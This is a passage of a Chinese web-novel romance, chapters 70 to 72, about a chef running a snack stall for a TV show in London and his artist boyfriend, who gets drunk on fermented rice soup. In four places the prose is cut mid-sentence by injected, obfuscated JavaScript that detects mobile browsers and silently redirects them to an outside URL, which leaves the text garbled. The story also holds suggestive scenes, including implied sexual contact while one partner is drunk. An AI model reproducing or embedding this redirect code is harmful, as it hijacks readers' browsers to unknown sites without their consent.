蒋醉余把饭盒拿出来，嘴上却不是这么说：“味道有点大，我更想邀请小齐老师来咖啡厅吃。” 小齐老师很尊重厨师的专业建议。 饭盒又被放回了纸袋。 旁若无人的小情侣带着浩浩荡荡的展厅围观群众重新莅临咖啡厅：拜托，这可是让泽菲尔画风变柔软的神秘男子啊！ 伊薇特一见他们，大喜过望：“你们可算是回来了！在没有热干面供应我就要被食客吃掉了！” 小小的咖啡厅仿佛什么只进不出的魔窟，一旦有游客好奇心发作，因为长长的队伍走进来观望，就会被空气中弥漫的香味俘获，再也无法空手走出。 排在第一位的食客举着新鲜出炉的热干面，环顾四望，突然感觉天崩地裂：“老板，你们这还有别的座位吗？这个面条要怎么吃啊？” 蒋醉余震惊地抬起头，没太理解问题的意思：“捧在手里吃啊。” 食客露出茫然的表情。 蒋醉余愣了愣，还是没忍住问道：“就左手端碗、右手夹面，我们摊位配的叉子还挺好用的……要不你问问后面那位华人游客。” 华人游客也一脸懵懂：“我应该会吗？” “啊？”蒋醉余掸面的手无意识停下，“你们都不会边走路边吃面条吗？” 前排客人动作一致地摇头，继而敦促：“老板，说话归说话，动作不要停啊。” “退一万步讲，老板你就不能同时掸十锅面吗？” 就是核动力驴也是要休息的啊！ 蒋醉余无语凝噎，齐新雨也不帮腔，捧着自己的爱心盒饭一边吃一边笑。他有个来自节目组的小马扎，可以坐在餐车后面的地上。 笑够了他才说：“醉余你不要因为自己是武汉人，就觉得大家都会走路吃面哇。” “我们大多数人都是单线程啦，面条这种需要特意夹的食物，边走边吃会无意识站在原地的。”楚然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775146|174672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正好排到之字形队伍靠近摊位的位置，大着胆子解释。 蒋醉余眨眨眼。 怪不得他以前那些队友去夜市，买了什么面条和粉都要坐下来吃。 一锅面份量不小，很快就轮到了叶期。 热腾腾的面条刚捧到手里，她满足地深吸一口气，感受着香味填满自己的嗅觉，抽了抽鼻子。 再开口时，几乎带了哭腔。 “我真傻啊，真的，”叶期说，“我单知道伦敦是大城市，怎么没人告诉我你们伦敦留子过的是这种好日子啊。 “我在小镇里吃的那些几十英镑还不如国内食堂好吃的中餐算什么，算我给英国GDP做贡献吗？我之前的假期为什么要嫌远不来伦敦看看啊！” 萝卜干爽脆的口感配上碱水面独有的味道，老板的芝麻酱调得浓淡正好，黏黏糊糊地裹在面条上，又让它们保持着根根分明的形态。 还有那一点辣椒，香而不辣，完美地满足了大众口味。 但最引人注意的还是卤水，它们融进了酱汁和面条里，无处可见又无处不在，带着汤底中丰富的层次勾引着食客的馋虫。 很可惜，这些卤货通通不卖。 面对热干面的暴击，一位宅女发出了灵魂深处的控诉。 楚然小心翼翼开口：“伦敦中餐也不便宜，而且这种小吃很少见的……” 叶期叹了口气：“不，你不懂。” 她的大学在小镇里，没有机场，去往任何一个大城市都要一个小时的火车，来伦敦更是需要三四个小时。 在那个只有几家餐馆“垄断”中餐的地方，叶期学会了炖肉、蒸鱼和各种各样的甜品，唯独想念国内的小吃。 比如热干面。 叶期抽抽鼻子，坚定地做出决策：“你下午如果有安排就先走吧，我要再排一次。” 虽然她就要回国了，但是这是她对美食荒漠不屈的抗争！ 如果能每天吃一碗，就是让她住独立厨房卫浴的studio宿舍她也愿意的啊！ 拥有同样想法的人不在少数，齐新雨吃完午饭就被薅回去当看板郎，蒋醉余碰见了很多位重新排队的食客。 在这样捧场的光顾下，炸酱面早就卖空，热干面倒是备料经验不足，只用完了碱水面。 剩下的那点酱料被一个匆匆赶来的留学生打包走： “老板，你不知道，我们学校食堂为了什么可持续发展指数，连牛肉都不提供了。再没有点好吃的拯救我，我就要引爆伦敦了！” “但是我们把中超能买到的碱水面都买走了。”蒋醉余犹豫道。 “没事，”留学生慷慨地分享自己的食谱，“可以用碱水面包或者全麦欧包，只要有得吃就行。” 热干……面包？ 反正明天就不卖这个了，耐不住留学生的软磨硬泡，蒋醉余恍惚地把酱料、卤水和萝卜丁都装给他，恍惚地送走这位客人。 然后恍惚地领着摄影师再次走出咖啡厅，步履稳健地走进了一个熟悉的展厅。 可能是美术馆的空气实在醉人，又或者蒋醉余先生突然觉醒了路痴属性。 周三、周四、周五、周六，他每一天都坚定不移地走进了同一个展厅，幸运地碰上了同一位路人。 “诶，好巧，”蒋醉余迎上展厅主人，棒读道，“这位同学，我们又见面了。请问你明天想吃点什么呢？” 幸运同学伸出食指点住自己的下巴，拖长声音：“明天呀……明天是周日，我想要一点气味不太重，可以在我自己的展厅里偷偷吃的甜食，比如豆沙圆子。” 嘉宾先生实现每一个愿望，在小本子里认真记录：“那明天就卖圆子甜汤，我会多配几种汤底的。” 70. 蛋花醪糟圆子 圆子甜汤，主角是圆子，味道却全靠甜汤。 简单一点的就搭配玉米甜水、木薯甜水之类，一点新鲜的粗粮加上冰糖就足以构成清爽甜品。 论知名度要数酒酿圆子，或者按照蒋醉余师父那边的说法叫做醪糟，甜中微酸的酒酿在很多人眼里是糯米圆子的固定搭配。 红豆沙圆子则是秋冬季当之无愧的头牌，不过就算是英国这样温带海洋性气候的盛夏、就算在温度偏低的艺术馆里，也没法请出红豆沙抚慰人心。 在这个季节，显然还是冰凉的绿豆沙更能迎合人们的需求。 绿豆沙很好做。 豆子先在水中浸泡，然后加糖煮到每一粒绿豆都爆开，袒露出软糯洁白的内心。 把煮好的绿豆取一半打碎，变成略带点草绿色调的低饱和豆沙，和余下的豆汤混在一起。 一勺入口，有绿豆沙的绵密，也有整颗豆子的跳脱口感。冰糖甜味深入到甜汤每一处，也会在成品中细致地包裹住小圆子。 蒋醉余把它们提前做好，塞进餐车的小冰箱。 这些工作很简单，当天早上就能完成。 按时抵达咖啡厅时，门外已经有了三三两两专程赶来的食客，更多的是跑来吃早饭的展厅学生。 “今天是甜品。”蒋醉余看着他们准备趁着人少大吃一场的架势，提醒道。 他们前两天卖的大部分都是小吃。自从做了摆摊节目，齐新雨的互联网大数据就被小吃街探店缠上了，看见什么都馋，这下可算有了机会。 蒋醉余从煎饼果子卖到糯米饭，回头客里有不少人都是当成早午餐来吃的。 “没关系，”学生们很豪迈，“老板你只管做，适不适合当成饭吃我自有定夺。” 多少人用致死量榛子巧克力酱抹面包就能当成一顿饭，不是他们吹牛，中餐的甜度根本难不倒谁！ 食客们说着，探头探脑地向餐车里面观望。 醪糟和绿豆沙没什么可说的，反正他们都不认识，只能通过标签隐约猜出来醪糟里面似乎有酒精。 大早上喝酒，这可太有意思了。 特立独行的艺术人们还没顾上喊刺激，转眼就看见蒋醉余端出了一个大塑料盆，里面满满当当全是拇指盖大小、造型可爱的……小动物？ 美术生们端详半天，交头接耳： “不是说泽菲尔的男朋友们不是学艺术的吗，怎么玩上石塑粘土了？” “如果他送我这些小手工我不想要怎么办？泽菲尔会不会给我硕生作业打低分。” “你不许忤逆我心软的神，何况泽菲尔都要跟他去中国了，也教不了我们了。” 此话一出，满室寂静。 好好一个心软的助教老师就这么被拐跑了，他们非要狠狠地买上十碗甜品，累死老板！ 蒋醉余不知道这群人的眼神官司，兀自捞出干圆子们丢进沸腾的锅里，介绍道：“这些都是糯米圆子，用的是天然色素，糯米制品不建议多吃…… “也不可以要求‘只想要某一种动物的圆子’，两种造型捆绑出售。” 他说得好郑重。 食客们顺着勺子的方向看过去，才注意到盒子里看着满满当当，其实只有两种圆子。 一种颜色浅一点、灰白色的是鳐鱼。 为了煮的时候不断在锅里，尾巴做得又短又粗，原本扁平的鳐鱼做成球状，活像是一只塞了太多礼物的福袋。 另一种加了竹碳粉的黑色圆子，上面顶着两只尖耳朵，正是猫猫头的造型。 小猫的眼睛做成薄荷绿色，美术生们一看就开始发出怪叫。 大家都是对色彩相当敏感的人，望见这个眼睛颜色就什么都懂了。如此一来，另一种“不拆卖”的小动物代表什么也就显而易见。 他们并不找蒋醉余确认自己的猜测，而是坏笑着“套话”道： “老板，为什么你是鳐鱼啊？” 蒋醉余把浮起来的圆子放进冰水里，把难题丢回去：“小雨定的，想知道可以去问他。” 学生们端着碗气鼓鼓地走了。 他们口中念念有词：“不是说醉余不爱开玩笑吗！” 那是以前，蒋醉余想，露出一点笑意。 齐新雨给他建议圆子物种的时候，不假思索地选择了鳐鱼，问就是洛伦佐和伊薇特都和他告状“醉余欺负嘉宾”。 “醉余哥哥怎么回事呀，”齐新雨当时笑嘻嘻地说。 他说这让他想起来自己刷到的视频，海洋馆的鳐鱼游着游着就开始啃啃同事。 笑容狡黠，很明显还有别的原因，但齐新雨不告诉他。 蒋醉余从昨天晚上手搓圆子，问到今天中午给齐新雨送午饭和豆沙圆子，直到齐新雨展览结束提前溜到咖啡厅，也没问出来原因。 他又在自己的小板凳上坐下，抽抽鼻子看到面前两只汤桶。 一锅是他中午吃过的绿豆沙，蒋醉余特地给他那碗加了点薄荷糖浆，冰凉解暑。 圆子不像他在有些中餐馆吃过的，外层几乎已经要融化在汤里、内心还是“很有嚼劲”的生硬。它们煮得恰到好处，轮廓清晰，一口咬下去就在唇齿间躺平。 蒋醉余还在做面团的时候用了加桂花蜜的水，圆子看上去平平无奇，吃起来却不是寡淡的糯米味，而透着一股花香。 这股香气相当清浅，能够捕获到甜香就像是惊喜。齐新雨认认真真地捞出一个个圆子，嚼嚼嚼： 吃掉一只甜甜的圆子，好鱼；再吃掉一条没品出味道的圆子，坏鱼！ 另一锅似乎是热食，是齐新雨完全没见过的吃法。 在碗里倒上一点提前打好的鸡蛋液，滚开的半透明汤底浇进去，鸡蛋立刻被吹成蛋花飘起来，陌生的酸甜味满溢出来。 再加上一勺似乎是米饭的配料，撒上鳐鱼和小猫圆子，就成了一碗鸡蛋醪糟圆子。 “醪糟？这是什么？”他好奇地问道，“我也想尝尝——多来点小鱼！” 一锅醪糟煮好要趁热卖，蒋醉余把手头的甜品交给客人，在最后一个空碗里挑挑捡捡撇出来满满一勺鳐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775147|174672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鱼圆子。 其余鸡蛋和米粒之类的配料，也都比别人要多：因为兴致勃勃的围观群众建议齐新雨，说这个大米好吃多来点。 “他这不算插队吗，而且凭什么他的量这么多？”队伍中有人不太理解地质疑道。 “朋友你看他坐的这个位置就知道了，”回头客老神在在地说，“这是老板娘。” 说话之间，“老板娘”已经迫不及待拿起勺子，把蛋花、醪糟和圆子满满当当盛了一勺。 出口的酒酿似乎比国内放了更多糖，隐隐盖住大米发酵的酸味，变成欧洲嗜甜人民也能爱上的点缀似的酸甜。 其中米粒变得柔软、坚韧，体内蕴藏着满满的酒酿，牙齿轻轻一咬就压榨出汁水，越咀嚼越能感受到它无尽的香气。 鸡蛋里不知道是加了西餐甜品中爱用的香草荚，还是别的什么东西，即使是这样做法粗暴的蛋花也一点不显腥味。 他浇热汤的手法很有技巧，鸡蛋明明是一起倒在碗底，成片中却云絮般纤薄，一层层漂浮在汤碗中，看不出半点结块成坨的特例。 大概也因为这是一碗热甜汤，暖流从喉口落入胃袋，又慢慢爬向四肢，直到每根指尖都觉得胀乎乎好餍足。 喝这么一碗，很舒服，就是确实有点热。 离开了展厅不再需要正装，齐新雨把衬衫解开一个扣子，摇着领子扇了扇风。 “这款这么好吃，怎么中午不给我嘛，”他扁扁嘴，抓住蒋醉余衣角，“老板，再来半勺醪、叫什么来着……醪糟！” 蒋醉余回首看他。 齐新雨眼睛亮亮的，捧着碗抬起头，唇边还沾着糖水的水光。衬衫已经敞开成V领，锁骨明晃晃地暴露在空气中。 他摘掉手套，俯下身去把齐新雨刚解开的扣子又系上：“空调风硬，别吹到。” 齐新雨点点头，固执地把碗往高举了一点。 蒋醉余给他加了半勺汤。 不能再加了，再加后面排队的客人要闹了。 他今天对食材用量判断得刚好，正好让停止排队前来的每一位游客都吃到了至少一碗圆子。 至于后来伊薇特没能铁石心肠，又偷偷摸摸给了齐新雨小半勺醪糟这种事情，就不归他管了。 人群散去，节目组众人又开始忙忙叨叨地收拾东西。 蒋醉余整理自己的餐车到一半，突然意识到不对。 以前最爱帮忙的齐新雨，今天拎着他的小凳子，还呆呆地站在原地。 “小雨？”他一边收拾东西一遍问，“椅子坏了吗？” 齐新雨用力摇了好几下头，几步走过来，把椅子塞进他怀里，很神秘地招了招手。 “我这两天一直在琢磨一件事，现在终于想通了。”他在蒋醉余耳边大声宣布，甜甜的米酒被人体的温度蒸得浓郁，随着吐息弥漫。 蒋醉余终于后知后觉地意识到，刚才他走过来那两步路，好像蜿蜒曲折地扭了十八个弯。 “等回家没人了，”齐新雨骄傲地说，“我要告诉你一个秘密！” 71. 啃一口猫锁骨 节目组的车把他们放在门口，齐新雨被暖风吹了一下，好像精神了一瞬间，又把自己埋进蒋醉余怀里。 “热，我要回家。”他说。 猫爪子左抓右挠，蒋醉余好不容易掏出钥匙，有些好笑地问：“宝宝，你是不是喝多了啊？” “啊？”齐新雨很茫然，“怎么可能，我不喝酒的呀。” “那你怎么喝了两碗醪糟？” “醪糟是酒？” 蒋醉余顿住。 齐新雨珍视他的绘画天赋和这双与大脑磨合默契的手，不愿给酒精哪怕半点机会害他手抖。 婚礼和晚宴上他喝橙汁，提拉米苏只吃过蒋醉余做的豆乳版，入口过酒精含量最高的东西可能是去腥的料酒。 一直以来他都以为，齐新雨只是不爱喝酒。 可是谁能想到在英国长大，既不知道醪糟就是米酒，也不知道米酒闻起来应该是什么样。 他只知道这碗甜汤温和、适口，带着令人欣喜的酸甜，还以为是什么果汁。 在场这么多人谁也没想过齐新雨的酒量是什么水平。 “醉余你看。”齐新雨扯着他进了屋，光着脚往客厅里跑。 他在这边的房子不小，客厅没有做点事，放了一面投影屏幕。蒋醉余拎着拖鞋追上来的功夫，他已经把平板连上了投影仪。 “穿鞋。” 齐新雨盯着那双鲨鱼拖鞋看了两秒，一抬腿盘坐在沙发上。 “醉余你看！”他重申，转瞬就忘了自己为什么上沙发，跳下来在绒地毯上蹬蹬跑了两步，很骄傲地指着屏幕，“这些都是我画的你！” 蒋醉余没看屏幕，还看着他。 齐新雨喝酒一点都不上脸，还是雪白的一个人。 他站得比投影仪更靠前些，那画面里不知道哪用了抹金色，光影直愣愣的不懂得拐弯，没能抵达屏幕，撞在他的发丝上，在夏夜里发光。 齐新雨好像想到了什么，又慌张地凑过来，推着他坐在沙发上，整个人挡在他面前划拉平板。 “不对，等一下，我记得我第一张想让你看的不是这幅图。”他念念叨叨地，很忙。 他好像很紧张，酒后原本有些急促的呼吸停住。 蒋醉余揽住他的腰，把人拉下来渡过一口气，慢慢安抚：“宝宝，我不偷看，我们坐下来慢慢找好不好？” 单线程的醉鬼手上停住了，歪着脖子微微仰起头，觉得也算是个好主意。 他正要在旁边坐下，蒋醉余力道一压，齐新雨没站稳，跌坐进他怀里：还不忘记高高地举起平板，不让人看见屏幕。 他在蒋醉余身上，坐得很不安稳，微微一晃干脆扭过身子，面朝蒋醉余趴在他肩膀。 双手举着平板绕过脖子，腿脚很自然地在人与沙发之间找个缝隙盘上。齐新雨扭了扭，对新坐姿很满意，又开始在相册里翻找。 他们两个胸膛贴得太近了，连呼吸和心跳都同调。 蒋醉余不敢动，把呼吸调成手动挡，大脑开始发散。 齐新雨忘了平板和投影仪没断开连接，但是他既然答应了不同9欧看，还是低下头去比较好…… 背后那双脚穿着袜子也有点凉，最近可以多做点生姜菜补一补…… 他们现在这个姿势，他伸手一捞就能把人抱起来端走，齐新雨实在是有点轻…… 他乱七八糟地想了半天，终于齐新雨又蹭着扭回来，抱着平板开始傻笑：“想起来了！我早就整理好了，根本不是在相册里。” 蒋醉余把他落下来的头发别回耳后，齐新雨和他不一样，头发很软，抬起头晃晃脑袋，那绺头发又被甩了出来。 “蒋……醉余你听我说嘛。”齐新雨吞回一点“先”字的尾音，扯着他看屏幕。 平板上不知道什么软件，做成笔记本的模样。 封面是齐新雨自己画的一只手，保持自然垂落的形态，无名指上系一根红线，也长长地搭下来，牵出了画面。 蒋醉余认得他自己的手。 “是的哦，”齐新雨说，“这一本都是我这三年画的你，封面是前几周新画的。” 但一只手不是他今天的重点。 他点一下电子笔记本的封面，本子立刻摊开来，翻页动画连接着一幅幅画，上面都记着日期，签着蒋醉余看过很多遍的落款： 吹不散西风。 男团偶像蒋醉余最著名的唯粉、兼瑟瑟画手。 来自首了。 “这些画我都在网上发了，不知道你见没见过，”他想到哪说到哪，喝醉之后像个小漏勺，“有些人说话好露骨，我不喜欢，我都给删掉了。” 留下的评论不是在夸他画得真好，就是心平气和地说“真帅”。 更显得西风太太黄得一骑绝尘。 “每一张我都能记起来是什么时候、因为什么画的。”齐新雨美滋滋地说，把本子翻给他看。 投影仪会放大很多细节，虽然模糊了细节，冲击力仍然强得怕人。 有他穿着衬衫马甲、翘个二郎腿坐在很奢靡的椅子上，手里举了个不知道什么东西，蒋醉余看着有点像不带网格的狭窄版苍蝇拍。 “你看这张拿马鞭的，是我看完马术主题的那次全团写真画的，你当时的造型一看就很冷酷……” 这个用词是不是不太对。 他挠挠头，赶紧翻过一页。 原来这东西叫马鞭，蒋醉余记住名字。 下一张是他只穿低腰裤和无袖围裙守在灶台前，天然气灶的明火把高光映成鲜明的暖色调，每一块背肌都细致得像在上人体素描课。 齐新雨说：“这个是看了你的聊天直播，你说本科是学营养学的，在团里有时候会自己开火，很多人来蹭饭。” 很多话和场景蒋醉余自己都有些记不太清，但他对每幅画的缘由都讲得头头是道。 浅色虹膜本应透出点动物或无机物似的冰冷，可他眼睛亮亮的，又有点……嗯……呆萌？ 蒋醉余深呼吸。 齐新雨的电子画册不知道是按照什么顺序排列的，日期已经更新到了最近几周，是蒋醉余表白那天。 原来第二天齐新雨起床灌咖啡还有这个原因。 画面里他穿了件白大褂，面容模糊地顺着台阶走下来，人偶师的十字道具被丢弃在台阶上。画面下方台阶所向却一片留白。 “你怎么也混进来了。”齐新雨不愿多说，快速略过这一幅。 他一页页地数着，有第一次在舞台上见到蒋醉余后兴奋的描绘，也有意外被打开家门那天随手所作。 蒋醉余在他笔□□验过各种各样的礼服和制服，也长出过兽耳鱼尾或者什么乱七 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775148|174672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 八糟的东西，还在他做毕设“速成”国画期间穿了好一阵传统服饰。 总之就是没什么机会当一个衣冠齐整的现代人，有百分之八十的画作里他都像个阴暗霸道的大反派。 电子画册看不出后面还有多少页，但明显已经准备了很多天。 齐新雨突然叹了口气，很深沉：“你看，我有好多不切实际的幻想，所以……所以什么来着？” 他眨眨眼，艰难地回头看蒋醉余。 “醉余，我想不起来了。” 他说话时有直视人眼睛的习惯，眼下酒劲泛上来，把眼底染成淡淡的桃粉色，看上去分外无辜： “我给你看画册是想告诉你什么来着？” “告诉我你的网名，我非常感谢西风老师愿意让我知道自己在你眼里的样子、愿意这么长时间以来坚持把我当做缪斯。”蒋醉余贴心提醒。 “不对不对，你不要当我傻，”齐新雨摇头，捂住他的嘴，“这个我已经说过了，还有别的原因的。” “我想说……我坏！” 齐新雨恍然大悟。 说的叫什么话。 他整个人窝在蒋醉余怀里，现在人肉靠垫不想给他打工了，蒋醉余双手一捞就把他横抱了起来。 平板无力地掉到长毛地毯上，保护壳发出一声闷响，已经无人在意。 齐新雨还在坚持不懈地回忆自己的发言稿：“我很坏，既然被表白了我就不希望你和我分手，所以我不可以有缺点……” 他嘀嘀咕咕的，到句尾声音已经变得又轻又含混。 蒋醉余不想听他胡言乱语，干脆手臂上移一点，把他上身扶起来——把这张嘴堵上。 齐新雨在英国待了一周，每天说很多话，自己却不爱喝水，嘴唇有点干，起了皮都被他自己啃掉。 但这片皮肤仍然是柔软的：温热、柔软，吐息间吹出米酒香气。 蒋醉余没有下一步动作，只是驻足在表面；等齐新雨不再试图张口，他又离开。 齐新雨这下又不满意了。 蒋醉余打开卧室的门，他终于成功地撞上来，脖颈如天鹅。 他小鸟一样一下下啄吻，又左左右右辗转摩挲，从这边唇角蹭到那边。 力道一歪，两个人一起倒在床上。 “你亲亲我嘛。”齐新雨说。 蒋醉余倾身过来，一只手扶住他后脑。 齐新雨就很自觉地闭上眼睛，睫毛颤抖，带着懵懂的期许；可他等了两秒，仍然只有室内凉爽的空气拂过唇畔。 正要睁眼，一粒吻轻柔地落在眼皮上。 顺着骨骼和面颊，一路点到颈侧，然后是锁骨。 蒋醉余头发也有点散了，扫过他下颌，齐新雨觉得有点痒，抖了抖，有人在锁骨上轻轻咬了一口 干什么！齐新雨倏地睁开眼瞪他。 卧室开着顶灯，浅色眼瞳对光线更敏感，他眯了眯眼睛，恶狠狠地抱住自己后脑的那只手，拽到身前。 他握着这只手，磨一磨牙，轻轻舔了一下。 蒋醉余瞬间停下动作。 齐新雨看着他，笑得得意洋洋，像刚偷到猎物的小狐狸。 傻乎乎的，哪像“原著”里那个觥筹交错间游走着、用画作换取利益的幕后黑手。 蒋醉余伸出手，盖上他的眼睛。 72. 牛角包三明治 虽然无人在意，但蒋醉余是学营养学的。 他成绩还可以，至少足以支撑他在毕业转行两三年后，依然想起老师说的话： 虽然很多人选择睡前适量小酌助眠，但酒精实际上会妨碍睡眠质量。 可能还会增加入睡难度。 想让溃败于两碗醪糟的齐新雨安安稳稳睡觉，并没有他想象中那么容易。 他把手盖在齐新雨眼前，感受着小刷子似的睫毛轻轻由上而下扫过掌心，显然是眼睛闭合的方向。 再拿开手，一对薄荷绿眼睛睁得圆滚滚，哪有半点睡意。 “嗨嗨！”齐新雨很高兴地说。 睁眼闭眼的捉地鼠游戏玩了几轮，齐新雨终于坐了起来，自顾自解衣服：“我还穿着外衣呢。” 艺术家们人手一件的棉麻裤子是系带的，轻轻一抽就解开褪下来。 oversize衬衫有点设计，每粒扣子都长得不一样，有圆滚滚的木扣子，有八芒星形状的贝母扣子。 每一颗扣子进出扣眼都像是一场战争。 他暂时手指不太灵活，磨磨蹭蹭地一粒一粒往下解，像是一层一层剥开礼物盒子。 剥了几层，他突然从床上蹦下来，想起来自己没拿睡衣。 衣服乱七八糟地挂在身上，只剩最后一点尾巴还系着。随着手臂翻翻找找，肩膀上的衣领随时向下滑落，勉强盖过腿根。 齐新雨没尝试过美黑，肤色遗传自英国血统的父亲。有点长了的头发散下来，黑白分明，衬得白净皮子愈发亮眼。 何况也不止是白。 他怎么不穿背心。 ……好吧，没人在夏天的衬衫里穿背心。 蒋醉余在用被子裹住他和把自己流放到卫生间之间犹豫不决，最终选择帮他找睡衣。 他从卫生间换好衣服回来，齐新雨对此很有意见，躺在床上背对着他。 床垫上多出一个人的重量，又凹下去一点，齐新雨打了个滚，滚进他怀里拱了拱，整个人像树袋熊一样很自然攀上来。 皮肤是光滑的，动作间卷起上衣下摆，夏季短裤下的大腿就擦过脊柱。 酒精已经顺着血管流淌向每一处末梢神经，将表皮蒸得温热。 贴得实在太近了。 蒋醉余下意识扣住那条腿，浑身肌肉紧绷。 齐新雨抽出一只手，戳一戳他锻炼良好的后背，仿佛浑然不知自己做了什么：“你怎么变硬了？” 他学画，大约很懂得人体每一根肌肉纤维的走向。 缕着背肌横行再向上，从劲瘦的腰到不显山不露水的胸肌：它们因为紧张发力也是僵硬的。 “蒋先生的身材比我画得好一点诶，”他小声说，思维很快发散开，“我们之前找的人体模特老师说，胸肌应该是软软的……我还没摸过呢。” 蒋醉余终于决定和蒋先生这三个字和解。 它们听上去有多生疏，就显得眼下的话语有多……暧昧且孺慕。 “齐新雨。”他叹了口气，念道。 当你男朋友喊你大名的时候要慌，问题很大；但齐新雨不知道。他抬起头，兀自发表感言：“我好喜欢你。” “我也喜欢你……好好睡觉，别蹭我。” 齐新雨点点头，很懂地说：“我可以帮你，你喜欢手还是腿。” 那双摸画笔的手不等邀请就探下来。 他常年画画，食指和中指侧面都养出一点薄茧。 平日里因为精心保养所以不太明显，蒋醉余这时候才发现，那片茧子已经有些蔓延到内侧。由于发力角度变化，偶尔羽毛似的扫过，痒意顺着皮肉爬进心窍。 他看着齐新雨弓起背，清瘦的蝴蝶骨像要刺破单薄的睡衣，画册里一笔一画又浮现在脑海中： 他把自己最隐秘的心思都捧到你面前了。 折腾半天，齐新雨睡着了。 蒋醉余还要爬起来给他换衣服，又在不吵醒他的状态下换床单，折腾了半宿。闹铃响起的时候，两个人谁也没听见。 等到他迷迷糊糊起床、摇醒还趴在被子里哼哼唧唧的齐新雨走出房间，看见手机被落在客厅，上面已经显示出一排未读消息和来电。 信息轰炸从昨天晚上就已经开始。 先是导演后知后觉地意识到，昨天因为齐新雨提前跑过来，把自己灌醉了，他们走得匆匆忙忙。 她说：【你还没问小齐老师明天想吃什么诶！】 她又说：【之前的那个记者说，能把你们俩都写进去的专题版面批下来了，我们约了过几天在贝尔格莱德当面采访。】 但是蒋醉余没有回复。看看时间，那时候齐新雨可能正在对着自己的画册演讲。 导演等了几个小时，得不到回应，问他们明天还打不打算摆摊。 至于现在，她已经彻底放弃：【算了，反正周三多摆了一天也算凑够五天了，你们忙完记得回个消息……小齐老师明天能坐飞机吗，英国飞塞尔维亚也要快三个小时呢。】 齐新雨咬着牙刷凑过来，两只手交替刷牙，看见屏幕含混不清地骂了好几句。 他把地毯上的平板捡起来，给导演发了好几个“小声些，难道光彩吗”的表情包。 蒋醉余觉得他也不是很有资格用这个图，但他不敢说：齐新雨起床以后已经抱怨了好几句，说大腿痛，手也酸。 所以眼下这顿早餐，他打算做一点省事的，让齐新雨能直接坐在沙发上吃。 家里剩的东西不多，牛角包三明治配豆浆就算一餐。 齐新雨被破壁机研磨谷物粗粮的香气团团抱住，终于感觉神志回归，想起自己的平板来。 它为什么在地上来着？ 齐新雨惶恐。 齐新雨震惊。 齐新雨抖着手打开平板，看见自己整理好的画册。这是他前几天纠结自己要不要坦白秘密的时候，顺手把给蒋醉余画的画都塞了进来。 既不是时间顺序，也不是按完成度排列，全凭个人喜好。 越靠前的造型或场景，他越喜欢…… 但这不是重点啦！ 齐新雨看着画面上的字迹。他毕竟不常写中文，不会连笔，字体稚拙，换了小学生来也能认清“吹不散西风”五字落款。 昨天，就是在这里——他就是在这里，不由分说地给蒋醉余看了这么多乱七八糟的图片。 各种意义上都把自己扒了个一干二净。 他搓搓脸，轻轻叹一口气，蒋醉余端着盘子走出来。 齐新雨不敢看他，只能目光涣散地往下瞥，看着一双腿不紧不慢走进自己视野。 今天很罕见，棉麻爱好者蒋醉余在家穿起了牛仔裤。 “你坐到沙发上去吧。”蒋醉余说。 齐新雨歪歪脑袋，会意地把两条腿盘起来。肌肉被牵动，他轻抽一口气，调整好姿势总觉得好了一点，起码不会无意识间两条大腿互相磨蹭。 他切了一盘兔子苹果，是一切准备就绪才切的，果肉仍是嫩生生的浅黄色。 豆浆里加了黑豆和红枣，红枣先稍微蒸过，把口感不好的外皮剥下来才和谷物们一起打。 牛角包里放了牛油果、三文鱼和鸡蛋。 熟三文鱼呈现漂亮的橘粉色，蒋醉余只用一点胡椒和柚子汁，就能激出它全部香气。 滑蛋火候恰到好处，外皮已经凝固，轻轻晃一晃却还能感受到它的流动感。 牛油果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775149|174672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里油脂含量也高，在做成酱抹上面包的时候用剩下的柚子汁解腻，里面还切进去点西红柿碎丰富口感。 齐新雨抬起手，接过他手里的餐盘。 蒋醉余还没来得及摘围裙，里面穿了件短袖……背心，呃…… 里面没穿。 齐新雨端盘子的手微微颤抖，蒋醉余手急眼快，在底上托了一把。 为了够到餐盘，他俯下身，一片肌肉顷刻撞进齐新雨眼里。 